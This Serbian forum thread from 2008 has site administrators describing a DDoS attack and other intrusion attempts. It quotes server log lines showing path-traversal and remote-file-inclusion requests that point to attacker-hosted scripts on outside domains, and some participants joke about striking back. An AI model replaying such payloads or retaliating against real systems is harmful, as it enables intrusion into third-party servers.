ddos napad

[bluesman]

Sigurno ste primetili da celo pre podne nismo imali pristup sajtu, to je zbog toga sto je na port 80 bio zesci ddos napad.

Znaci napad je bas zesci, server je radio normalno, svi ostali servisi su ok, ali od httpd nikakve vajde jer je broj konekcija bio uzasan. Nije napadan ni jedan odredjeni sajt vec direkno na ip adresu, svi sa raznih ip adresa, rusi, indijci, kinezi, rumuni... gomila masina, svi traze "GET /", ceo log je prepun ovakvih:

193.231.126.17 - - [06/Feb/2008:13:36:19 +0100] "GET / HTTP/1.1" 403 3931 "-" "Opera/9.02 (Windows NT 5.1; U; ru)"

Na kraju smo blokirali pristup plovini interneta pa polako pustamo ...

Ne znam da li se neko odavde nekome zamerio pa se neko sveti ili se neko pravi pametan...

[LiquidBrain]

Hehe... Ja vec ceo dan juce i danas imam napade na server od strane "albanian security clan" grupe... Shto DDos, sto pokusaje inkludovanja remote skripti...

[conica]

mi smo isto juce i prekjuce na serveru imali napad iste grupe rekla bih (ili bar veoma slicne...)

[LiquidBrain]

hehehe... samo sto cu ja i da uzvratim

[Dušan Dželebdžić]

Izgleda da se nešto događa, ja sam pre 15ak min imao nekoliko pokušaja XSS napada. Sreća pa sam pravio custom CMS, tako da se završilo na pokušaju

[benjamin]

takodje udarili mi na jedan od 5 javnih interfesja, ddos već nekoliko sati

[dootzky]

freaky stuff, ja sam bas konstatovao kako forum ne radi..
drago mi je da postoji i public objasnjenje, al' sto kaze Liquid, valjalo bi grunuti i te batice malo nazad, cisto da se opamete ^_^

doduse, i to su corava posla.
bah.. uvek ce postojati neke budale i lejmeri.. fuc|<'m

[LiquidBrain]

Ma problem je sto po zakonu ne moze da se postavi ofanzivni firewall... pa kada neko tako nesto proba da ga automatski odje*e...

Mada nije to nesto definisano zakonom, ali verujem da bi se nasao neko ko bi napravio buku oko toga...

Ovo su neki primeri sta pokusavaju... tacno se vidi da su retardirani klinci koji pokusavaju da iskoriste javno poznate propuste...

phpMyAdmin/css/print.css?lang=en-utf-8&convcharset=iso-8859-1&collation_connection=utf8_unicode_ci&token=eb25a56f96b9bbcd9ddd078d9ea75a41
HEAD /..\\..\\..\\..\\img\\odluka.gif HTTP/1.1 with response code(s) 404 1 responses
GET /opstina/..%5C..%5C..%5C..%5Cimg%5Ckodeks.gif HTTP/1.1 with response code(s) 404 1 responses
 GET /takmicenja//tools/send_reminders.php?noSet=0&includedir=http://www.laila.jp/item_pics/d3rf/teste.txt????????????????????????????? HTTP/1.1 with response code(s) 404 1 responses
GET //ws/login.php?noSet=0&includedir=http://www.bwa-handball.de/cms/images/banners/cmd2.txt?? HTTP/1.1 with response code(s) 404 1 responses

Problem je, kao sto bluesman kaze, to sto napadi dolaze sa dosta razlicitih lokacija... Na zalost napad je sa lose osiguranih servera,
koje su uspeli da preuzmu koriscenjem javnih exploita...

[bluesman]

Što je najgore, napadi nisu samo sa "loše osiguranih servera" već i sa privatnih računara ljudi koji su fasovali trojance pa se sada pitaju zašto im je danas internet tako spor.

[Eniac]

i furku non stop nesto napada, smor